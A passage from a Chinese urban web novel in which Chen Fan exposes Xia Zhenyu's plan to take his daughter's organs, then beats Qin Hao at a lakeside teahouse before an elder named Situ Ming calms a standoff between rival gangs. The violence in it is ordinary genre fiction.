柳媚笙道,“陈凡,如果真是秦昊,那他的目标恐怕不只是你和夏颜那么简单,他敢明目张胆的袭击你,他背后可能还有更大的图谋,或者……他已经疯了。”
“不管他疯没疯,他都死定了。”我挂断电话,眼中杀意沸腾。
回到走廊,我发现秦悦不知何时已经回来了,正独自站在病房门口,看着里面躺着的夏颜,她的脸上写满了愁容。
“秦远东找你有事?”我试探性的问道。
“嗯……他在像我逼宫……”秦悦眉头紧皱道:“他想让我交出杭城公司的股权。”
“你答应了?”我问。
“绝不可能!”
“你这个二叔给你父亲不是一条心。”我善意的提醒道。
“他和秦昊走的比较近,所以刚才你说秦昊是凶手的时候,他都愣住了。”秦悦眉头紧皱道:“我刚才问他知道不知道秦昊在哪,他说不知道。”
“老狐狸!”我冷笑着:“他不敢向你要权,可是如果秦昊给他兜底,他就有可能了,秦悦,你大哥已经向你宣战了。”
秦悦若有所思,然后从随身的手里包,拿出一个小小的U盘,递给我道:“这是我这些年调查秦昊海外账户的银行流水,里面的信息不全,但也许能帮助你!
我看着她手中的U盘,没有立刻去接。
这么重要的资料,秦悦轻易就交给了我,她为什么要这么做?是为了取得我的信任?还是想借我的手去对付秦昊?或者,这本身就是一个陷阱?
“为什么给我这个?”我问。
秦悦的唇角泛起一丝苦涩的弧度:“我了解我大哥,他一旦动手,就不会留余地,他现在针对你,下一个目标很可能就是我,我们……现在是拴在一根绳上的蚂蚱。”
当秦悦说出我们两个字的时候,我知道,她是在和我结盟,要联手对付秦昊。
我没有犹豫,接过了这个U盘,我相信秦悦不会拿自己未来秦家家主的位置开玩笑。
“你现在是我的女人了,我当然会帮助你成为秦家家主,到时候,我就是秦家女婿了。”
“嗯……”秦悦看着我,她的愁容终于舒展,她轻轻拉住了我的手道:“今晚,我在这里照顾夏颜。”
“不用,我亲自照顾她。”我搂着秦悦的肩膀道:“我想她睁开眼睛,第一个看到的就是我。”
“你觉得她会什么时候醒来?”
“明早?”我笑了笑。
忽然,医院里传来了一阵急促的脚步声,我循着声音望去,一个熟悉的男人走在最前面。
那个男人就是夏振宇,跟在夏振宇身后的还有十几个保镖,他们穿着一身黑衣,带着墨镜,派头十足!
“夏振宇来做什么?!”秦悦面露不悦道:“以前读书的时候,从没见过他关心过颜颜,现在颜颜出事了,他竟然还跑来医院?其心可诛!”
“谁知道呢,或许是来兴师问罪的!”
我送来了秦悦的手,然后走向了病房的门口,挡住了夏振宇的去路。
“陈凡,你什么意思?”夏振宇面色阴沉的质问我。
“夏颜在休息,闲人不得入内!”我冰冷道。
“我是夏颜的父亲!”夏振宇高声道。
“你屁也不是!”我毫不留情道。
“你说什么!”夏振宇明显被我激怒了:“里面躺着的是我的女儿!”
“你的女儿?怕是你的移动人体器官吧!”
081夏颜苏醒!
我的话犹豫一道惊雷,劈的夏振宇汗毛炸立!
在场所有的人都目瞪口呆,他们瞪大了双眼看着夏振宇!
夏振宇的嘴角一阵的抽搐,显然,他是被我给说道痛处了!
“陈凡,你在胡说些什么,你别血口喷人!”夏振宇指着我的鼻子破口大骂:“你不就是见我不同意你和颜颜的事情,所以怀恨在心,对我胡乱指责!”
我嘴角冷笑,带着一丝的嘲讽,道:“我的女人还在里面昏睡,我可没有闲情雅致来指责你,再说,现在都什么年代了,还玩父母包办婚宴那套?夏颜从没认你这个父亲,你就别来找不自在!”
“大伟,送客!”我对身旁的周大伟喊道!
我知道夏颜现在需要休息,我是不可能让夏振宇带走她的,他今天带了十多个保镖来,就是来抢人的。
如果夏颜被他带走了,搞不好真的就要被他换器官了,到时候,夏颜连命都没有了。
忽然,一个可怕的想法在我脑海中闪过……
夏颜遇袭,夏振宇一个星期前见了秦昊,然后夏振宇又来医院要人,所有的一切都串联起来了,袭击夏颜的人,会不会就是夏振宇!
他为了给自己小女儿夏雨换器官,袭击了夏颜,夏颜的死活他根本不在意,他只要夏颜完整的身体!
虎毒尚不食子,如果我的猜想成立,那面前这个男人,简直太过阴险毒辣!
“夏先生,请你离开这里!”周大伟冷冷的做出了一个请的手势。
夏振宇看着我,眼里满是厌恶道:“陈凡,我是夏颜的父亲,她在这里不安全,我要带走她,她需要更好的环境和照顾!”
我挡在病房门前,身形如同山岳,没有丝毫退让的意思,我冷冷的道:“有我在,她很安全!”
“很安全?”夏振宇像是听到了什么笑话,嗤笑一声,语气充满了讽刺,“就是因为你!夏颜才会卷入这些是非,才会遇到这种生命危险!我早就说过,你接近夏颜就是不怀好意!现在你还有什么脸面拦着我带走她?!”
他的指责尖锐而刻薄,将一切责任都推到了我身上。
我的眼神冷了下来,道:“夏颜遇到袭击,这笔账,我会跟凶手算清楚,你想带走她,恐怕不行!”
“不行?”夏振宇勃然大怒,上前一步,几乎要指着我的鼻子,骂道:“我是她父亲!你算什么东西?!你有什么资格拦我?!让开!否则别怪我不客气!”
他身后的十几个保镖也立刻上前,眼神凶狠地盯着我,气氛瞬间剑拔弩张。
我没有被夏振宇的怒火吓退,反而迎着他愤怒的目光,冰冷的问道:“夏振宇,你这么着急带走夏颜,真的是为了她的安全着想么?”
夏振宇眼神猛地一闪,闪过一丝不易察觉的慌乱,但立刻被更盛的怒火掩盖:“你什么意思?!你这是在质疑一个父亲对女儿的关心吗?!”
“你是对你的小女儿夏雨的关心吧!”
“你……你胡说什么?!”夏振宇的声音有些发颤,色厉内荏。
“我是不是胡说,你心里清楚。”我死死盯着他的眼睛,一字一句道:“夏雨,你的宝贝小女儿,如果我没猜错的话,她得的不是什么小病吧?是需要直系亲属进行活体器官移植才能保命的绝症把?”
我的每一个字,都像是一记响亮的耳光,抽在夏振宇的脸上!
夏振宇的脸色瞬间惨白如纸,他嘴角不停的哆嗦着,整个人都在颤抖!
他这反应,无疑证实了我的猜测!
走廊里一片死寂!所有人都被这突如其来的惊天秘闻震住了!
秦悦也掩住了嘴,眼中充满了震惊和恐惧,为了一个孩子牺牲另一个,这种事情被人当众揭穿,真的是令人心惊。
我冷冷地看着夏振宇,声音里带着毫不掩饰的鄙夷道:“你这次来,根本不是关心夏颜的安危!你是趁她受伤虚弱、神志不清的时候,强行把她带回去,直接进行器官移植手术对不对?!”
“你放屁!!”夏振宇歇斯底里地吼道:“我是她父亲!我怎么会害她?!夏雨也是她的妹妹!姐妹之间互相帮助难道不应该吗?!”
“你用夏颜的生命,去换取另一个女儿的存活,夏振宇,你这不叫父爱,你这叫自私和残忍!你从头到尾,都只把夏颜当成一件可以利用的工具!以前是利用她的商业天赋为家族牟利,现在,是要利用她的身体器官来救你更疼爱的女儿!”
我的话,像一把把匕首,彻底撕开了夏振宇虚伪的假面,狠狠扎在他的黑心之上!
他浑身颤抖,脸色一阵青一阵白,再也无法维持那副道貌岸然的模样,他指着我,却一句话也说不出来,只有粗重的喘息声在走廊里回荡。
我看着他那副丑态,心中没有半分怜悯,只有无尽的冰冷。
难怪夏颜对家庭如此疏离,有这样的父亲,是她的不幸。
我走上前,狠狠地盯着夏振宇,质问道:“夏颜被袭,是你做的吧!”
“不是!”他果决的回答。
“那你见秦昊是做什么!是借人吧!”我再一次质问。
“我和他说什么,与你无关!”夏振宇冷冷道。
“秦昊在哪里!”我指着他问道。
我已经没有闲工夫在跟他胡扯了,我现在迫切的知道秦昊的位置。
“你不是很能查么?那你可以查一查!”夏振宇一副无所畏惧的样子。
“我当然会查,如果夏颜被袭,真的是你做的,我会让你生不如死!”我恶狠狠的盯着夏振宇怒骂。
夏振宇瞪了我一眼,随后摆了摆手,对身后的保镖说道:“把小姐带走。”
那十几个保镖瞬间涌向了病房的门!
“我看谁敢!”
我抓住一个保镖的胳膊,一个过肩摔,直接摔在了走廊的地上,周大伟也立刻跟上,他一个闪躲勾拳,放倒了另一个保镖!
原本安静的医院,顿时变成了战场!
咳咳咳!……
就在这时,病房里传来了一阵咳嗽声!
夏颜,醒了?!
082为了夏颜,约战秦昊!
我的心像是有心电感应一般,我瞬间紧张!
我不在理会众人,我推开病房的门,向着夏颜走了过去。
病房内只开着一盏昏暗的床头灯,光线柔和地洒在夏颜苍白的脸上,虚弱中透露出一种病态的美。
她不知何时已经醒了,没有睡,也没有哭,只是睁着眼睛,空洞地望着天花板。
听到开门声,她的眼珠微微动了一下,视线缓缓转向门口,当看到是我时,她的眼神里,终于有了一丝微弱的光亮,她朝我笑了笑,笑容美丽但很虚弱。
我走到床边,坐下,握住她放在被子外、依旧冰凉的手。
“都……听到了?”我声音沙哑干涩,像砂纸摩擦过喉咙。
她点了点头,没有否认,病房的隔音并不算太好,外面那样激烈的冲突,她不可能完全听不见。
夏颜闭上眼,两行清泪无声地从眼角滑落,浸湿了枕套。
她没有发出任何啜泣声,但那种无声的悲伤,却比嚎啕大哭更让人揪心,我看着她流泪,我的心都揪在了一起。
我拉着她的手,陪伴着她,许久,夏颜才看向我,眼睛里充满了一丝的决绝。
“让他走!”夏颜声音微弱,但却果决道:“我不想在看到他,永远都不想!”
良久,她才重新睁开眼,看向我,眼神里充满了疲惫和一种近乎绝望的清明。
“让他走。”她轻声说,声音微弱,却带着一种不容置疑的决绝,“我不想再看到他……永远都不想。”
“好。”我握紧她的手,坚定道:“有我在,没人能强迫你做任何事。”
夏颜看着我,泪水流得更凶了,但她努力扯出一个比哭还难看的笑容:“谢谢……谢谢你,陈凡。”
这一刻,我无比的心疼夏颜,她不在是那个独自扛起一切的女强人,她只是一个被家人抛弃、背叛的女人,而我,则是她全部的依靠。
我轻轻擦去她的眼泪,却带着一种让人安心的力量,我柔声的说道:“别想太多,先养好身体,外面的事,交给我。”
夏颜顺从地点了点头,闭上眼睛,似乎耗尽了所有力气。
安抚夏颜重新睡下后,我轻轻抽出有些发麻的手,为她掖好被角,然后悄无声息地退出了病房。
走廊里,秦悦还在。
“她怎么样了?”秦悦问。
“醒了,情绪还算稳定。”我简短回答,目光却越过她,看向了夏振宇。
“夏颜不想看到你,这辈子都不想!”我冷冷的说道:“你应该明白她是什么意思,如果你还不走,我会让你死的很难看!”
我没有在和夏振宇开玩笑,他已经触及到我的底线了!
如果,他还不走,我不介意废掉他的腿!
就在这时候,医生们走了过来,他看着夏振宇说道:“你们想干什么?病人现在急需要休息,别在这里打扰她休息,在乱来,医院就报警了!”
医生瞪了一眼夏振宇,夏振宇自觉理亏,也不在说什么,只是不甘心的看了一眼病房,然后摆摆手,带着手下的人离开了。
“这个可恶的人,总算走了!”秦悦鄙夷道。
“秦昊的号码,给我!”我对着秦悦说道。
“你真的要给秦昊打电话?你就不怕他……”秦悦眼里闪过一丝的担忧。
“他都快骑在我头上拉屎撒尿了,我可忍不下这口气,我必须要给自己,给夏颜,一个说法!”
“你怀疑袭击夏颜的是秦昊?”
“我怀疑他和夏振宇联手做的这件事,一个想要夏颜的身体,一个想要夏颜的器官!”我冷冷说道。
“太可怕了!”
秦悦马上将秦昊的手机号给了我,箭在弦上,不得不发!
秦昊!这个隐藏在幕后,策划了云城一系列事件,并极有可能主导了杭城这场血腥袭击的元凶!是时候,跟他正面碰一碰了!
我拿出手机,没有任何的犹豫,直接拨通了秦昊的电话,电话响了很久,就在我以为不会有人接听时候,竟然通了。
没有问候,没有客套,电话那头传来一个阴险、嚣张的声音:“哪位?”
“陈凡。”我报上名字,声音平静无波,仿佛只是在和一个普通的商业伙伴通话。
电话那头沉默了两秒,随即传来一声轻佻的、带着毫不掩饰嘲笑道:“呵……陈凡?我没想到你居然会直接给我打电话。”
他的语气,带着一种猫捉老鼠般的戏谑,仿佛一切尽在掌握。
“秦昊。”我没有理会他的调侃,直接切入主题,声音依旧平静道:“云城的事,杭城的事,都是你做的。”
这不是疑问,而是陈述。
电话那头的秦昊又笑了,笑声里带着一丝残忍的快意:“陈凡,话可不能乱说,云城赵家小子被人捅了刀子,那是他们赵家自己的恩怨。至于杭城……夏总裁遇袭,我也深感震惊和遗憾,你可不能把这些屎盆子都扣在我头上。”
他否认了,但语气中的得意和挑衅,却昭然若揭。
“是吗?”我冷笑一声,“‘暗影’组织,国外的私人军事公司,还有你手下特招的一些雇佣兵,这些,难道也是巧合?”
听到我报出的这些关键词,电话那头的秦昊明显顿了一下,笑声收敛了些许,语气变得有些阴沉:“看来,我那个好妹妹,没少在你耳边吹风啊,不过,陈凡,知道太多,有时候并不是什么好事。”
“是不是好事,试过才知道。”我的语气依旧平淡,但杀意尽显露!
“秦昊,我没兴趣跟你玩猜谜游戏。你做了什么,你我心知肚明。”我声音突然变冷,道:“动了我的人,就要付出代价!”
电话那头陷入了短暂的沉默,随即,秦昊的声音也彻底冷了下来,带着一种居高临下的威胁:“代价?陈凡,你以为你是什么东西?一个靠着女人上位的暴发户,真以为能在云城、在杭城搅风搅雨?我告诉你,这个世界,远比你想的复杂和黑暗。有些人,不是你惹得起的!”
“惹不惹得起,不是你说了算。”我毫不退让,“秦昊,明天中午十二点,听雨阁,我们当面谈,你敢来么!”
我直接下了战书,与其跟他墨迹,不如真刀真枪的干一场!
电话那头的秦昊显然没料到我会如此直接,他沉默了片刻,似乎在权衡。
“有点意思,陈凡,你比我想象中的更有胆量,好,明天中午十二点,我倒要看看,你能玩出什么花样!”
“记住,一个人来。”我提醒道。
“放心。”秦昊轻佻地回应,道:“对付你,还用不着兴师动众。”
083痛击!秦昊!
嘟嘟……
电话被秦昊挂断,我眼中的杀意却没有消失!
明天的见面,注定是一场没有硝烟的战争!
秦悦站在一旁,全程听到了我和秦昊的对话,她的脸色变得异常苍白,眼神里充满了担忧和一丝恐惧。
“你真的要和他见面?”秦悦眼中有些犹豫和担心的问道:“秦昊这个人很危险,他答应得这么痛快,肯定有诈!”
“我知道。”我收起手机,目光平静道:“但我必须要见他,有些账,必须当面算清楚。”
避而不战,从来不是我的风格,秦昊既然已经亮出了獠牙,那我就必须迎上去,将他的牙一颗颗敲碎!
“需要我做什么?”秦悦深吸一口气,强迫自己冷静下来,问道。
“看好夏颜,确保她的绝对安全。”我看了她一眼,道:“另外,把你所知道的,关于秦昊在杭城的所有据点、以及他可能动用的力量,全部整理出来给我。”
秦悦点了点头,眼神变得坚定起来:“好。”
她知道,从她选择站在我这边,将那个U盘交给我的那一刻起,她就已经没有退路了,她与秦昊的争夺不可避免。
明天,听雨阁,那将不仅仅是谈判,更是一场鸿门宴,一场决定很多人命运的摊牌。
周大伟走了过来,小声在我耳边说道:“凡哥,刘飞他今晚就能到。”
我点了点头。
秦昊,我会让你付出惨痛的代价!
翌日中午,杭城的雨并没有停止的意思。
我准时来到了听雨阁,这里四面环水,唯有湖中心,建造了一所高级会所。
当时针指向十二点整时,听雨阁的门被轻轻推开。
一个穿着奢华休闲西装,身材高挑的男人,走了进来,他嘴角带着玩世不恭,连走路的步伐都极具嚣张,这个人,应该就是秦昊!
“啧啧,陈凡,你还真是会选地方,被人追杀,还有闲情逸致赏景,佩服佩服!”
秦昊的语气带着漫不经心,还有刻意的嘲讽,他直接拉开椅子,坐在了我的对面。
我目光平静的看着他,质问道:“废话少说,补刀赵坤,海城袭击,夏颜杭城遇袭,都是你干的吧!”
他身体前倾,隔着桌子,那双疯狂的眼睛死死盯着我,压低了声音,道:“找我兴师问罪来了?”
“为什么要对夏颜动手,你不是喜欢她么!”我声音冰冷的问道!
此刻,我已经攥紧了双拳,恨不得狠狠砸死他!
“你知道吗?从我知道夏颜那个贱人居然看上了你,我就觉得特别有意思,她拒绝我,拒绝我们秦家的联姻,却选择了你这个穷逼,这简直是对我最大的侮辱!”
“我得不到的东西,谁也别想得到!尤其是你这种货色,更不配!”
“所以,你就安排了云城的一切?补刀赵坤嫁祸给我,袭击我和柳媚笙?”我冷冷地问。
“没错!”秦昊得意地承认,甚至带着一丝炫耀,道:“赵坤那个废物,活着也是浪费空气,正好用来给你添点堵,至于你和柳媚笙那个骚货……算你们命大,不过没关系,游戏才刚刚开始!”
“谁让你动夏颜的!”我突然大吼道。
秦昊被我突然的爆发吓了一跳,但随即笑得更加猖狂道:“动她?哈哈哈!我不仅要动她,我还要毁了她!当着你的面毁了她!”
他猛地一拍桌子,站起来,指着我骂道:“陈凡,你以为你是什么东西?我告诉你,在这个世界上,权力和力量才是一切!我有钱,有势,我可以玩弄所有人于股掌之间!包括你,包括夏颜,包括秦悦那个吃里扒外的贱人!”
他喘着粗气,眼神却越来越兴奋道:“我知道你今天约我来的目的,要报仇?我告诉你,这听雨阁周围,至少有三组我的人,你动我一下试试!”
“我要慢慢玩死你,我要让夏颜看着,我是怎么让你跪地求饶,这就是你招惹我秦昊的下场!”
我看着秦昊那张嚣张变态的脸,听着他羞辱夏颜、羞辱秦悦、羞辱柳媚笙,我心中压抑的怒火,如同炸药桶被点燃!
在他还在喋喋不休、沉浸在自己变态的幻想中时,我动手了!
我动作快如闪电!毫无征兆!
我左手猛地探出去,在他完全没有反映过来的瞬间,我死死的掐住了他的脖子!
巨大的力量,让他的整张脸因为窒息而变红!
“你……你敢……”秦昊眼中惊慌了一下,他拼命挣扎双手试图掰开我的手指,但我的手指如同焊死的钢筋,纹丝不动!
“我有什么不敢?”我盯着他因为缺氧而凸出的眼睛,怒骂道:“动我的人,就是这个下场!”
右手握拳,没有任何花哨,凝聚了全身所有的怒火和力量,如同出膛的炮弹,狠狠砸在了他那张令人作呕的脸上!
“砰!!”
一声令人牙酸的闷响!
秦昊的鼻梁骨瞬间塌陷下去,鲜血混合着鼻涕眼泪猛地喷溅出来!他整个人被我打得向后踉跄,但脖子还被我死死掐住,然后又被我拽了回来!
这一拳,蕴含了我所有的愤怒和对夏颜的愧疚!是为夏颜打的!是为所有被他伤害的人打的!
没等他缓过气,我的膝盖又如同重锤,狠狠顶在他的腹部!
“呕……”秦昊眼球暴突,胃里的酸水混合着血沫直接喷了出来,身体痛苦地蜷缩成一团,像一只被煮熟的虾米。
我松开掐住他脖子的手,他像一滩烂泥一样瘫软在地,剧烈地咳嗽着,呕吐着,满脸满身都是血污和秽物,狼狈不堪,哪里还有刚才半分嚣张的模样?
“你的手下不是埋伏在这里么,你倒是叫人啊,你倒是喊啊!”我居高临下地看着他,眼神中充满了鄙夷和杀意!
“秦昊,是你的手下来的快,还是我捏断你的脖子快!”
此刻,我滔天的怒意,都爆发开来,我脖子上的玉佩骤然变得温热起来,我浑身的灌满了力气,仿佛在下一秒就要爆发!
084援兵到来,百人群架!
那个高高在上,不可一世的秦家富少,现在被我捏在手里!
秦昊抬起头,用满是怨恨的眼神看着我,他想叫人,可是,他说不出任何的话来,他的手在衣服口袋里不停的摸索着什么,我猜想,他是找手机想叫人!
我抬起脚,直接踩在他的手上!
“咔嚓!”清脆的骨裂声响起!
“啊——!!!”秦昊发出杀猪般的凄厉惨叫,他的脸变的扭曲!
此时的听雨阁,不在安静,有的只是我的暴怒!
我看着他那张扭曲的脸,我心中的怒意没有丝毫减少!
我弯下腰,抓住他的衣领,将他拖到面湖边的窗户。
“喜欢玩游戏是吗?”我凑到他耳边,声音如同鬼魅道:“我陪你玩个更刺激的。”
秦昊似乎预感到了什么,眼中露出了极致的愤恨!可唯独没有求饶的眼神,这个男人在维护他变态的自尊!
我猛然发力,将他的身体直接提起来,然后狠狠的从那扇敞开的窗户中,扔了出去!
秦昊在空中划出一道弧线,然后“噗通”一声,重重的砸进了雨丝密集的湖水里!
水花四溅!
他落水的地方,冒起一阵气泡,然后很快恢复了平静,只有一圈圈水花荡漾开来。
我站在窗边,面无表情地看着湖面,雨水打湿了我的头发和衬衫,但我浑然不觉。
我胸中那口积郁的恶气,似乎随着秦昊的落水,稍稍宣泄了一些。
秦昊落水,他带来的人,顿时从四周涌现出来。
就在我走出听雨阁的瞬间,湖边的树林里、假山后面,窜出来三十多个穿着黑色统一作战服,手持甩棍的彪形大汉!
果然!
他们和在海城来杀我的那些人,如出一辙!
他们动作敏捷迅速,眼神凶狠,如同一群饿狼一般,迅速的将我围个水泄不通!
噗通!噗通!
两声入水声音响起,两个保镖跳入湖水中,去拉起落水的秦昊。
为首一个脸上带着刀疤的壮汉,眼神阴鸷地盯着我,他露出残忍的笑容:“姓陈的,敢动我们秦少,今天就把你剁碎了喂鱼!”
三十多人,黑压压一片,在雨中散发着凛冽的杀气,他们堵住了所有去路,气氛瞬间剑拔弩张,仿佛空气都要凝固。
我站在听雨阁门口,面对这重重包围,脸上没有丝毫惊慌,反而露出一丝冰冷的嘲讽。
秦昊果然留有后手,只是他没想到,我动手会如此果决,根本没给他发出信号的机会。
“就凭你们?”我目光扫过这群打手,语气平淡,却带着一股无形的蔑视。
刀疤脸狞笑一声:“死到临头还嘴硬!兄弟们,废了他!给秦少报仇!秦少会给我们奖金的!”
就在这群打手蠢蠢欲动,准备一拥而上之时——
“谁敢动我凡哥!”
一声如同炸雷般的怒吼,猛地从园林入口处传来!
只见园林入口处,两拨人马如同两股钢铁洪流,猛地冲了进来!
左边一拨,为首一人的正是周大伟,他脸色还有些苍白,胳膊上缠着绷带!
在他身后,跟着十多名穿着“凡颜资本”安保制服、神情肃杀的精干保镖!这些都是我一手带出来的保安,他们知道我和秦昊的事后,义无反顾的从海城赶了过来!
右边一拨人,为首的正是刘飞!他带着七八个动作敏捷、擅长格斗的退伍兵,如同猎豹般切入战场侧翼!
周大伟和刘飞带来的人,虽然总数不到20人,比对方略少,但那股百战精锐的气势,以及眼神中为了保护我而不惜一切的决绝,瞬间将对方那三十多号打手的气焰压下去了一截!
“大伟!你的伤!”我看到周大伟竟然带着伤赶来,心头一震。
“凡哥!我没事!皮外伤!”周大伟走到我身边,与我并肩而立,声音斩钉截铁道:“谁敢动你,就是动我周大伟的命!我跟他们拼了!”
刘飞也咧嘴一笑,活动了一下手腕:“凡哥,好久没活动筋骨了,今天正好松松骨头!”
局势瞬间逆转!
被围困的,似乎变成了对方!
哗啦,湖中传来一声,秦昊被两个保镖拖上了岸边,他猛烈的咳嗽,吐出了几口水!
他没有退缩,也没有害怕,只是更加的疯狂道:“哈哈哈!陈凡!你就这点底牌了吗?!周大伟?一个半死不活的废物!刘飞?一个上不得台面的打手!加上你这十几条杂鱼?够干什么的?!给我塞牙缝都不够!!”
他挣扎着站起来,指着我:“今天,你们有一个算一个,谁都别想活着离开这里!我要把你们全部剁碎了扔湖里,喂王八!”
他的话音未落,园林另一个方向,又传来一阵密集而沉重的脚步声!
只见柳媚笙穿着一身紧身的黑色皮衣皮裤,她眼中不在有媚意,有的只是冰冷杀意!
柳媚笙的身后,跟着三十多名穿着各异、但眼神凶狠的江湖草莽汉子!
我知道,这是柳媚笙动用了海城地下核心人员。
“秦昊!动我柳媚笙的人,问过我没有?!”柳媚笙声音冰冷,带着她特有的江湖霸气,瞬间镇住了场子。
柳媚笙带来的人和周大伟还有刘飞带来的人,马上将秦昊那三十多人围了起来,形成了包围之势。
近百人,在听雨阁即将展开一场群架,这声势足够浩大!
秦昊看到柳媚笙带来的人,脸色微微一变,但随即变得更加疯狂和兴奋,吼道:“柳媚笙!你这个给脸不要脸的臭婊子!你也来凑热闹?好啊!正好把你们一锅端了!省得老子以后麻烦!”
他环视一圈,看着我们这边虽然人数占优,他脸上露出一个阴险的笑容,他忽然对着远方,吹了一声口哨!
口哨声刚落,园林外围,突然响起了刺耳的汽车刹车声和密集的脚步声!
这是秦昊准备的阴招!他竟然还有埋伏!
“陈凡,看见了吧,和我斗,就凭你们几个臭鱼烂虾?!”秦昊浑身湿漉漉指着我:“今天,你们都得死在这里!”
“秦昊,我今天就要让你给我的儿子,血债血偿!”
一声怒吼,从听雨阁响起,赵刚从听雨阁里走了出来,他一张国字脸,一身高级黑色定制西装,他面色阴沉,将大佬的气质展现的淋漓尽致!
是赵刚?!他果然来了!
柳媚笙有些迟疑的看了看我,我对她笑着点了点头,赵刚是我的底牌,我昨晚与他通了电话,他已经和秦悦结成了同盟,并且,要为赵坤报仇!
今天的听雨阁,他怎么可能不来!
“赵刚?!”秦昊的眼神一冷,冰冷道:“你前些天才要和我结盟,现在就要背刺我?”
“结盟是为了对付陈凡,可你捅我儿子,今天,我就是专门来对付你的!”
赵刚说完,他甩了甩手,从听雨阁里钻出来了四五十号人,他们身着统一灰色西装,来势汹汹!
原本还落后的局面,因为赵刚的出现,瞬间扭转了乾坤!
现在我们这边将近200人,而秦昊那边大约80人左右。
整个湖边,集结了三方势力,将近三百人的大战,一触即发!
085上城首富!大佬!
剑拔弩张!
秦昊眼神阴冷的瞪着我,他并没有因为人数缺少,而感到恐惧,相反,在他的眼睛里,我看到了一种变态的兴奋!
“给我上,把陈凡这个王八蛋给我丢进湖里喂王八!”秦昊指着我,下达了他进攻的命令。
“嘀嘀——!”
就在这时候,一阵清脆的汽车喇叭声响起,三辆劳斯莱斯幻影,从外面缓缓的开了进来,然后停在了我和秦昊两方人的中间。
前后劳斯莱斯的车门打开,窜出来几名深色西装,面容冷峻、但行动矫健的的男子,他们隐隐的护住中间那辆车,然后审视着周围人,仿佛在警告他们,不要靠近!
最后,中间那辆车的后车门被一名青年拉开。
一个穿着灰色中式立领外套,年级大约六十岁左右的老者,从车里走了出来,他头发梳得一丝不苟,身形清瘦,眼神深邃平和,看不出丝毫情绪波动。
他手中拄着一根看似普通的紫檀木手杖,步履沉稳,闲庭信步,绝对的从容不迫!
他的出现,没有带来任何喧嚣,却让整个听雨阁的气氛大变!
原本怒不可遏的赵刚,在看到这位老者后,明显一愣,然后他恭敬的站在那里,等待着老者。
柳媚笙的瞳孔也是微微一缩,显然认出了来人的身份,红唇紧抿,眼神变得更加复杂。
就连变态疯魔的秦昊,在看到这位老者时,整个人也变的老实起来,他没有了往日的嚣张,有的只是听话乖巧。
全场寂静,只有雨丝落地的沙沙声。
老者目光平静的扫过全场,他看了一眼浑身湿漉漉狼狈不堪的秦昊,然后眉头紧蹙,但是并没有说什么。
他又看了看赵刚、看了看柳媚笙,最后将目光落在了我的身上。
他的眼神很平和,没有审视,没有压迫,就像在看一个普通的晚辈。
但就是这种平静的目光,却带给了我无形的压力!
难道这就是上位者的威严么!
我轻轻的向身旁的柳媚笙问道:“这个人是谁?”
“司徒鸣,是上城那边的真正大佬,听说是秦昊的背后靠山,也是秦昊的干爹。”
司徒鸣,我好像在哪听说过这个名字!
上城的首富!对!好像就是他!
“年轻人,火气不要那么大。”老者终于开口了,声音不高,带着老年人特有的些许沙哑!
“打打杀杀,解决不了根本问题,更何况,在这听雨阁动刀动枪,惊扰了这方山水清幽,总是不美。”
他的话像是长辈随口的劝诫,但听在众人耳中,却带着不容置疑的份量。
赵刚深吸一口气,上前一步,微微躬身,语气恭敬地说道:“司徒先生,您老怎么亲自来了?”
司徒先生微微一笑,道:“刚子,你还是这么冲动,我要是不来,你今天是不是真要把这杭城的天捅个窟窿?”
赵刚讪讪地笑了笑,没敢接话,显然对这位司徒先生极为忌惮。
司徒先生这才将目光正式转向我,脸上带着一丝看不出深浅的笑容道:“这位,就是陈凡陈小友吧?果然是英雄出少年,秦家小子不懂事,冲撞了你,我代他,向你陪个不是。”
他这话一出,全场皆惊!
以司徒先生的身份地位,竟然会为了秦昊,向我道歉?!虽然只是轻描淡写的一句“陪个不是”,但这其中蕴含的意义,却非同小可!
秦昊猛地抬起头,难以置信地看着司徒先生的背影,嘴唇哆嗦着,想说什么,却最终没敢开口。
你个老狐狸,还真是有点手段啊!
他轻描淡写的几句话,就阻止了这场争斗,展现出来了他的能量和地位,然后又代表秦昊道歉,给足了我的面子,让我不接受都不行。
“司徒先生言重了。”我微微颔首,不卑不亢,“晚辈不敢当,只是秦昊触碰到了我的底线,我不得不争。”
我没有因为他的身份而退缩,但也给予了足够的尊重。
司徒先生眼中闪过一丝不易察觉的欣赏,点了点头:“有底线,是好事,不过,争,也有很多种争法。打生打死,是最下乘的选择。”
他顿了顿,手中的紫檀木手杖轻轻顿地,发出笃的一声轻响,仿佛为这场对峙画上了一个暂时的休止符。
“这里不是说话的地方。我在楼外楼备了一桌粗茶淡饭,不知陈小友,还有刚子、柳老板,能否赏光,移步一叙?”
他目光平和地看着我们,语气虽然是商量,但那不容拒绝的意味,却清晰地传达给了每一个人。
这位来自上城的老者,几句话就解决了危机,然后还要做东,请我们吃饭,我看了一眼柳媚笙,她点了点头。
显然,我是不能拒绝司徒鸣的。
我深吸一口气,迎上司徒先生那深邃平和的目光。
“司徒先生相邀,是晚辈的荣幸。”我平静地回答,“恭敬不如从命。”
“好。”司徒先生脸上露出满意的笑容,转身在那几名中山装青年的护卫下,走向其中一辆劳斯莱斯轿车。
“秦昊,你也跟着来!”司徒鸣对着秦昊语气不咸不淡的说了一句。
“是,干爹!”秦昊点了点头。
司徒鸣打量着秦昊,语气温和道:“去换一身衣服,你这个样子,成何体统!”
司徒鸣表面上是训斥秦昊,但其实看得出来,这老者爱子心切,他也是给我们一个暗示,让我们心里有数。
随着司徒鸣坐上了车,听雨阁气氛的缓和了下来,赵刚挥了挥手,他手下的那些人都悄然退去。
我看了看周大伟和刘飞,他们也都示意手下的人离开。
最后我和柳媚笙上了同一辆车,一同去赴宴。
柳媚笙在我身边低声道:“司徒鸣,上城来的大佬,能量深不可测,他出面,今天这事,只能到此为止了,小心应对。”
我知道,秦昊嚣张的资本,不是秦家,而是这位司徒鸣,所以他才敢不把任何人放在眼里。
我看着窗外的湖水,陷入了沉思,我在想,司徒鸣,会在饭局上说些什么……
不管司徒鸣如何护着秦昊,我都要让秦昊付出代价,要让秦昊知道,袭击夏颜就要血债血偿!
086秦昊!道歉!
楼外楼,百年老店,飞檐斗拱,古色古香。
平日里,这里都是游人如织,觥筹交错的繁华景象,可就今天,却被司徒鸣全部清场,门外站着的保镖,隔绝了外人。
包厢内,巨大的圆桌上摆放着各种菜,龙井虾仁、西湖醋鱼、东坡肉、但此刻围坐在这里的人,显然没有品尝美食的心情。
司徒鸣坐在主位,他神态自若,慢条斯理的喝着面前的羹汤,他的左手边,坐着一位带着金丝眼镜的副手。
右手边,坐的是我、柳媚笙、赵刚。
